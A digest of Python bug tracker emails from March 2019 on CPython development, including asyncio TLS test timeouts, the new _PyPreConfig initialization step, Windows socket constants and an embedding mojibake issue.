Subject: [issue35031] test_asyncio test_start_tls_server_1 fails in AMD64
 FreeBSD CURRENT buildbots
In-Reply-To: <1540044407.71.0.788709270274.issue35031@psf.upfronthosting.co.za>
Message-ID: <1551808966.71.0.361210823749.issue35031@roundup.psfhosted.org>


Open Close <openandclose23 at gmail.com> added the comment:

Am I wrong with something?
But test_start_tls_server_1 in newly made cpython fails on my plain intel linux personal PC.

If I comment out the FreeBSD conditional (to apply ssl.OP_NO_TLSv1_3), 
the test passes.

If I change HELLO_MSG to 1*1024*1024 (msg328157),
the test passes.

I reported the details in https://bugs.python.org/issue35998#msg336986 and the following.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35031>
_______________________________________

From report at bugs.python.org  Tue Mar  5 13:03:07 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 18:03:07 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1551802096.02.0.713172444332.issue33608@roundup.psfhosted.org>
Message-ID: <CA+3bQGEVtGxNg2fHkbBYUUjeVW4eOeUawnCMZhTYWnE68zroXA@mail.gmail.com>


STINNER Victor <vstinner at redhat.com> added the comment:

The bug is hard to reproduce even manually. I can test a PR for you once
it's ready.

----------
title: [subinterpreters] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. -> Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed.

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Tue Mar  5 13:42:19 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 18:42:19 +0000
Subject: [issue36187] Get rid of NamedStore
In-Reply-To: <1551715800.47.0.126475770196.issue36187@roundup.psfhosted.org>
Message-ID: <1551811339.0.0.0701064446642.issue36187@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset d8b3a98c9098c66a714fd5593e1928af0ffbc631 by Serhiy Storchaka in branch 'master':
bpo-36187: Remove NamedStore. (GH-12167)
https://github.com/python/cpython/commit/d8b3a98c9098c66a714fd5593e1928af0ffbc631


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36187>
_______________________________________

From report at bugs.python.org  Tue Mar  5 13:57:36 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 18:57:36 +0000
Subject: [issue36187] Get rid of NamedStore
In-Reply-To: <1551715800.47.0.126475770196.issue36187@roundup.psfhosted.org>
Message-ID: <1551812256.41.0.51967000151.issue36187@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36187>
_______________________________________

From report at bugs.python.org  Tue Mar  5 14:15:49 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 05 Mar 2019 19:15:49 +0000
Subject: [issue34776] Postponed annotations break inspection of dataclasses
In-Reply-To: <1537699529.98.0.956365154283.issue34776@psf.upfronthosting.co.za>
Message-ID: <1551813349.43.0.0612480460032.issue34776@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

I'm finally getting time to look at this. I'll see what I can do.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34776>
_______________________________________

From report at bugs.python.org  Tue Mar  5 14:34:58 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Tue, 05 Mar 2019 19:34:58 +0000
Subject: [issue27409] List socket.SO_*, SCM_*, MSG_*, IPPROTO_* symbols
In-Reply-To: <1467168896.94.0.840314714269.issue27409@psf.upfronthosting.co.za>
Message-ID: <1551814498.55.0.0142873748589.issue27409@roundup.psfhosted.org>


Change by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy: +giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27409>
_______________________________________

From report at bugs.python.org  Tue Mar  5 15:52:24 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 05 Mar 2019 20:52:24 +0000
Subject: [issue35782] Missing whitespace after comma in randrange raise error
In-Reply-To: <1547877212.85.0.682089452337.issue35782@roundup.psfhosted.org>
Message-ID: <1551819144.26.0.376134845938.issue35782@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I concur with Terry that no backport is warranted.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35782>
_______________________________________

From report at bugs.python.org  Tue Mar  5 16:36:23 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 21:36:23 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1551821783.27.0.492798720752.issue35998@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

./python -m test -W -u network -j0 -r -F test_asyncio

ERROR: test_start_tls_server_1 (test.test_asyncio.test_sslproto.SelectorStartTLSTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/stephane/src/github.com/python/cpython/Lib/test/test_asyncio/test_sslproto.py", line 510, in test_start_tls_server_1
    self.loop.run_until_complete(run_main())
  File "/home/stephane/src/github.com/python/cpython/Lib/asyncio/base_events.py", line 589, in run_until_complete
    return future.result()
  File "/home/stephane/src/github.com/python/cpython/Lib/test/test_asyncio/test_sslproto.py", line 503, in run_main
    await asyncio.wait_for(
  File "/home/stephane/src/github.com/python/cpython/Lib/asyncio/tasks.py", line 461, in wait_for
    raise exceptions.TimeoutError()
asyncio.exceptions.TimeoutError

----------------------------------------------------------------------

Ran 2044 tests in 113.604s

openssl 1.1.1b

revision: d8b3a98c9098c66a714fd5593e1928af0ffbc631

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Tue Mar  5 16:56:45 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Tue, 05 Mar 2019 21:56:45 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551823005.3.0.515073009013.issue29515@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

Done:
https://github.com/python/cpython/pull/12183/
This adds quite a bunch of new constants so I would be keen on considering it an enhancement rather than a bugfix and land it in 3.8 only. As for 3.7 and 3.6 (and 2.7?) it may make sense to fix IPPROTO_IPV6 only. Thoughts?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 17:16:07 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 22:16:07 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551824167.98.0.684010343907.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12180

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 17:31:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 22:31:58 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551825118.39.0.690240083406.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset a9df651eb4c18a07ec309df190419613e95cba7b by Victor Stinner in branch 'master':
bpo-36142: Add _PyMem_GetDebugAllocatorsName() (GH-12185)
https://github.com/python/cpython/commit/a9df651eb4c18a07ec309df190419613e95cba7b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 17:32:53 2019
From: report at bugs.python.org (Andrew Brezovsky)
Date: Tue, 05 Mar 2019 22:32:53 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551825173.61.0.459169696057.issue29515@roundup.psfhosted.org>


Andrew Brezovsky <abrezovsky at gmail.com> added the comment:

I lean towards it being considered a bug fix. First, the lack of parity between Windows and Linux-based OSs causes confusion. Second, the current workaround to hard-code the value in is far from best practice.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 17:38:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 22:38:55 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551825535.86.0.222799897442.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12181

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 18:21:09 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 05 Mar 2019 23:21:09 +0000
Subject: [issue35975] Put back the ability to parse files where async/await
 aren't keywords
In-Reply-To: <1549931018.54.0.209945896308.issue35975@roundup.psfhosted.org>
Message-ID: <1551828069.33.0.47814538053.issue35975@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

Everyone watching, the PR is now ready for review!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35975>
_______________________________________

From report at bugs.python.org  Tue Mar  5 18:37:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 23:37:00 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551829020.56.0.117142238089.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 7d2ef3ef5042356aaeaf832ad4204b7dad2e1b8c by Victor Stinner in branch 'master':
bpo-36142: _PyPreConfig_Write() sets the allocator (GH-12186)
https://github.com/python/cpython/commit/7d2ef3ef5042356aaeaf832ad4204b7dad2e1b8c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 18:54:37 2019
From: report at bugs.python.org (Kevin Shweh)
Date: Tue, 05 Mar 2019 23:54:37 +0000
Subject: [issue14385] Support other types than dict for __builtins__
In-Reply-To: <1332380135.46.0.264363154256.issue14385@psf.upfronthosting.co.za>
Message-ID: <1551830077.25.0.967210781904.issue14385@roundup.psfhosted.org>


Kevin Shweh <kevin.shweh at gmail.com> added the comment:

The patch for this issue changed LOAD_GLOBAL to use PyObject_GetItem when globals() is a dict subclass, but LOAD_NAME, STORE_GLOBAL, and DELETE_GLOBAL weren't changed. (LOAD_NAME uses PyObject_GetItem for builtins now, but not for globals.)

This means that global lookup doesn't respect overridden __getitem__ inside a class statement (unless you explicitly declare the name global with a global statement, in which case LOAD_GLOBAL gets used instead of LOAD_NAME).

I don't have a strong opinion on whether STORE_GLOBAL or DELETE_GLOBAL should respect overridden __setitem__ or __delitem__, but the inconsistency between LOAD_GLOBAL and LOAD_NAME seems like a bug that should be fixed.

For reference, in the following code, the first 3 exec calls successfully print 5, and the last exec call fails, due to the LOAD_GLOBAL/LOAD_NAME inconsistency:

class Foo(dict):
    def __getitem__(self, index):
        return 5 if index == 'y' else super().__getitem__(index)
 
exec('print(y)', Foo())
exec('global y; print(y)', Foo())
exec('''
class UsesLOAD_NAME:
    global y
    print(y)''', Foo())
exec('''
class UsesLOAD_NAME:
    print(y)''', Foo())

----------
nosy: +Kevin Shweh

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14385>
_______________________________________

From report at bugs.python.org  Tue Mar  5 18:55:49 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 23:55:49 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551830149.3.0.0553473954815.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12182

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:13:49 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:13:49 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551831229.28.0.490271424791.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset c656e25667c9acc0d13e5bb16d3df2938d0f614b by Victor Stinner in branch 'master':
bpo-36142: Add _PyPreConfig_SetAllocator() (GH-12187)
https://github.com/python/cpython/commit/c656e25667c9acc0d13e5bb16d3df2938d0f614b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:26:02 2019
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 06 Mar 2019 00:26:02 +0000
Subject: [issue36199] libzmq.dll causes uncontrollable screen flickering when
 accessing windows 2012 R2 server through remote desktop
In-Reply-To: <1551804211.97.0.598936212645.issue36199@roundup.psfhosted.org>
Message-ID: <1551831962.11.0.880111383975.issue36199@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

I'm closing this as third party. libzmq.dll is not part of a standard Python 3 distribution. Search for an existing issue at the site's for PyZMQ [1] and ZeroMQ [2].

[1]: https://github.com/zeromq/pyzmq
[2]: https://github.com/zeromq/libzmq

----------
nosy: +eryksun
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36199>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:26:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:26:44 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551832004.6.0.647179443361.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12183

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:42:33 2019
From: report at bugs.python.org (Walter Qian)
Date: Wed, 06 Mar 2019 00:42:33 +0000
Subject: [issue36201] AssertCountEqual does not work for nested dictionaries.
Message-ID: <1551832953.74.0.756790771637.issue36201@roundup.psfhosted.org>


New submission from Walter Qian <walterqian16 at gmail.com>:

For dictionaries of dictionaries unittest.util._count_diff_all_purpose does not work correctly. It should recursively call itself when it encounters another dictionary.

----------
components: Tests
messages: 337248
nosy: walterqian
priority: normal
severity: normal
status: open
title: AssertCountEqual does not work for nested dictionaries.
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36201>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:44:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:44:36 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551833076.47.0.960368348839.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 4fffd380a4070aff39b7fd443d90e60746c1b623 by Victor Stinner in branch 'master':
bpo-36142: _PyPreConfig_Read() sets LC_CTYPE (GH-12188)
https://github.com/python/cpython/commit/4fffd380a4070aff39b7fd443d90e60746c1b623


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:45:15 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:45:15 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551833115.35.0.405151792144.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Description of this long serie of changes.

I modified Py_Main() and _Py_InitializeCore() to clearly separate "pre-configuration" from "configuration" steps. The pre-configuration now decodes temporarily the command line arguments and uses its own command line parser to get -E, -I and -X options (-X is needed for -X utf8). The pre-configuration is designed to be as small as possible, it configures:

* memory allocators
* LC_CTYPE locale and set the UTF-8 mode

The _PyPreConfig structure has 8 fields:

* allocator
* coerce_c_locale
* coerce_c_locale_warn
* dev_mode
* isolated
* (Windows only) legacy_windows_fs_encoding
* use_environment
* utf8_mode

I had to include fields which have an impact on other fields. Examples:

* dev_mode=1 sets allocator to "default";
* isolated=1 sets use_environment to 0;
* legacy_windows_fs_encoding=& sets utf8_mode to 0.

_PyCoreConfig_Read() is now only called after the memory allocator and the locale (LC_CTYPE locale and UTF-8 mode) are properly configured.

I removed the last side effects of _PyCoreConfig_Read(): it no longer modify the locale. Same for the new _PyPreConfig_Read(): zero size effect.

The new _PyPreConfig_Write() and _PyCoreConfig_Write() are now responsible to write the new configurations.

There are functions to read the configuration from command line arguments:

* _PyPreConfig_ReadFromArgv()
* _PyCoreConfig_ReadFromArgv()

These functions expect a _PyArgv structure which accepts bytes (wchar*) or Unicode (wchar_t*).

I moved coreconfig.h from Include/ to Include/cpython/ to be more explicit that it's excluded from the stable API and that it's CPython specific.

I moved all config functions to a new Include/internal/pycore_coreconfig.h. Functions are internal to allow us to modify us anytime until a proper clean public API is designed on top of it.

If _PyPreConfig.allocator is set, _PyPreConfig_Write() re-allocate the configuration with the new memory allocator. This tiny thing avoids the new to force a specific memory allocator in many functions. I was able to remove the following code:

    PyMemAllocatorEx old_alloc;
    _PyMem_SetDefaultAllocator(PYMEM_DOMAIN_RAW, &old_alloc);
    ...
    PyMem_SetAllocator(PYMEM_DOMAIN_RAW, &old_alloc);

Calling Py_Main() after Py_Initialize() is still supported. In this case, it no longer checks the memory allocators name because _PyMem_GetAllocatorsName() returns "pymalloc_debug" (or "malloc_debug" if pymalloc is disabled) after _PyMem_SetupAllocators("debug") is called: names are diffrent.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:49:49 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 00:49:49 +0000
Subject: [issue29515] socket module missing IPPROTO_IPV6,
 IPPROTO_IPV4 on Windows
In-Reply-To: <1486664862.54.0.729311605676.issue29515@psf.upfronthosting.co.za>
Message-ID: <1551833389.36.0.242005823275.issue29515@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

The problem is that if we add lots of new constants in 3.7.3, code written in that version very easily becomes incompatible with 3.7.2 and earlier. So we don't like making changes like that.

If we know which ones are "normally" defined on Linux machines, where specifying them on Windows will make it just work, then I'd just add those ones.

Anything that is Windows-specific (if any?) or that may cause applications to break if they're testing for the constant but it doesn't work smoothly should not go back to 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29515>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:53:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:53:52 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
Message-ID: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Calling Py_DecodeLocale() before Py_Initialize() or _Py_InitializeCore() is broken since Python 3.7 if the C locale coercion (PEP 538) or UTF-8 mode (PEP 540) changes the encoding in the middle of _Py_InitializeCore().

I added a new phase to the Python initialization in bpo-36142, a new _PyPreConfig structure, which can be used to fix this mojibake issue.

The code for embedding Python should look like:
---
_Py_PreInitialize();

_PyCoreConfig config;
config.home = Py_DecodeLocale("/path/to/home");

_PyInitError err = _Py_InitializeFromConfig(&config);
if (_Py_INIT_FAILED(err)) {
    _PyCoreConfig_Clear(&config);
    _Py_ExitInitError(err);
}

/* use Python here */

Py_Finalize();
_PyCoreConfig_Clear(&config);
---

Except that there is no _Py_PreInitialize() function yet :-)

----------
components: Interpreter Core
messages: 337252
nosy: ncoghlan, vstinner
priority: normal
severity: normal
status: open
title: Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:54:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:54:08 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551833648.24.0.668282038462.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I created bpo-36202: "Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 19:55:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 00:55:55 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551833755.76.0.135972458289.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Ok, the _PyPreConfig structure is now available and used internally. The API can likely be enhanced, but I prefer to open new follow-up issues like bpo-36202, since this issue has already a long list of changes :-) I close this issue.

Nick: thanks for updating the PEP 432 ;-

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:03:50 2019
From: report at bugs.python.org (Maxwell Bernstein)
Date: Wed, 06 Mar 2019 01:03:50 +0000
Subject: [issue36203] PyWeakref_NewRef docs are misleading
Message-ID: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org>


New submission from Maxwell Bernstein <tekk.nolagi at gmail.com>:

The docs for `PyWeakref_NewRef` state "if callback is not callable, None, or NULL, this will return NULL and raise TypeError". It does not appear as though there is a callable check for the callback.

----------
messages: 337255
nosy: Maxwell Bernstein
priority: normal
severity: normal
status: open
title: PyWeakref_NewRef docs are misleading
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:08:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:08:45 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
Message-ID: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

If Py_Main() is called after Py_Initialize(), the configuration read by Py_Main() is mostly ignored to only keep the configuration read and writen by Py_Initialize(). Only sys.argv and the internal "path configuration" are updated. Problem: in this case, "core_config" is copied into PyInterpreter.core_config anyway, creating an inconsistency.

Technically, Py_Main() could be smarter and only partially update PyInterpreterState.core_config, but... is it really worth it?

Py_Main() can get many options from the command line arguments. For example, if "-X dev" is passed on the command line, the memory allocator should be "debug". Problem: Py_Initialize() already allocated a lot of memory, and it is no longer possible to change the memory allocator.

I propose to start to emit a deprecation warning when Py_Main() is called after Py_Initialize(): calling Py_Main() alone is just fine.

See bpo-34008: "Do we support calling Py_Main() after Py_Initialize()?". I had to fix a regression in Python 3.7 to fix the application called "fontforge".

Pseudo-code of fontforge:

Py_Initialize()
for file in files:
   PyRun_SimpleFileEx(file)
Py_Main(arg, argv)
Py_Finalize()

https://github.com/fontforge/fontforge/blob/cec4a984abb41419bf92fc58e5de0170404f0303/fontforge/python.c

Maybe we need to add a new "initialization" API which accepts (argc, argv)? I implemented such function in bpo-36142, but added functions are private:

* _PyPreConfig_ReadFromArgv()
* _PyCoreConfig_ReadFromArgv()

This issue has been discussed at:
https://discuss.python.org/t/adding-char-based-apis-for-unix/916/22

----------
components: Interpreter Core
messages: 337256
nosy: ncoghlan, steve.dower, vstinner
priority: normal
severity: normal
status: open
title: Deprecate calling Py_Main() after Py_Initialize()? Add Py_InitializeFromArgv()?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:10:37 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:10:37 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
In-Reply-To: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>
Message-ID: <1551834637.37.0.217808362409.issue36204@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

PySys_SetArgvEx() can be called before Py_Initialize(), but arguments passed to this function are not parsed.

https://docs.python.org/dev/c-api/init.html#c.PySys_SetArgvEx

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:13:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:13:46 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
In-Reply-To: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>
Message-ID: <1551834826.26.0.0126988084888.issue36204@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

INADA-san proposed to make the existing _Py_UnixMain() function public. (Currently, the function is private.)
https://discuss.python.org/t/adding-char-based-apis-for-unix/916

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:19:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:19:10 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
In-Reply-To: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>
Message-ID: <1551835150.25.0.53616825262.issue36204@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

See also bpo-36202: Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:22:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 01:22:29 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
In-Reply-To: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>
Message-ID: <1551835349.16.0.0652835322584.issue36202@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The "vim" editor embeds Python. It sets the Python home by calling Py_SetPythonHome() with the following code:
---
	    size_t len = mbstowcs(NULL, (char *)p_py3home, 0) + 1;

	    /* The string must not change later, make a copy in static memory. */
	    py_home_buf = (wchar_t *)alloc(len * sizeof(wchar_t));
	    if (py_home_buf != NULL && mbstowcs(
			    py_home_buf, (char *)p_py3home, len) != (size_t)-1)
		Py_SetPythonHome(py_home_buf);
---
ref: https://github.com/vim/vim/blob/14816ad6e58336773443f5ee2e4aa9e384af65d2/src/if_python3.c#L874-L887

mbstowcs() uses the current LC_CTYPE locale. Python can select a different filesystem encoding than the LC_CTYPE encoding depending on PEP 538 and PEP 540. So encoding back the Python home to bytes to access to files on the filesystem can fail because of mojibake.

The code should by written like (pseudo-code):
---
_Py_PreInitialize();

_PyCoreConfig config;
config.home = Py_DecodeLocale(p_py3home);
if (config.home == NULL) { /* ERROR */ }

_PyInitError err = _Py_InitializeFromConfig(&config);
if (_Py_INIT_FAILED(err)) {
    _PyCoreConfig_Clear(&config);
    _Py_ExitInitError(err);
}
---

The vim case has been discussed at:
https://discuss.python.org/t/adding-char-based-apis-for-unix/916/8

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Tue Mar  5 20:22:48 2019
From: report at bugs.python.org (STINNER Victor)
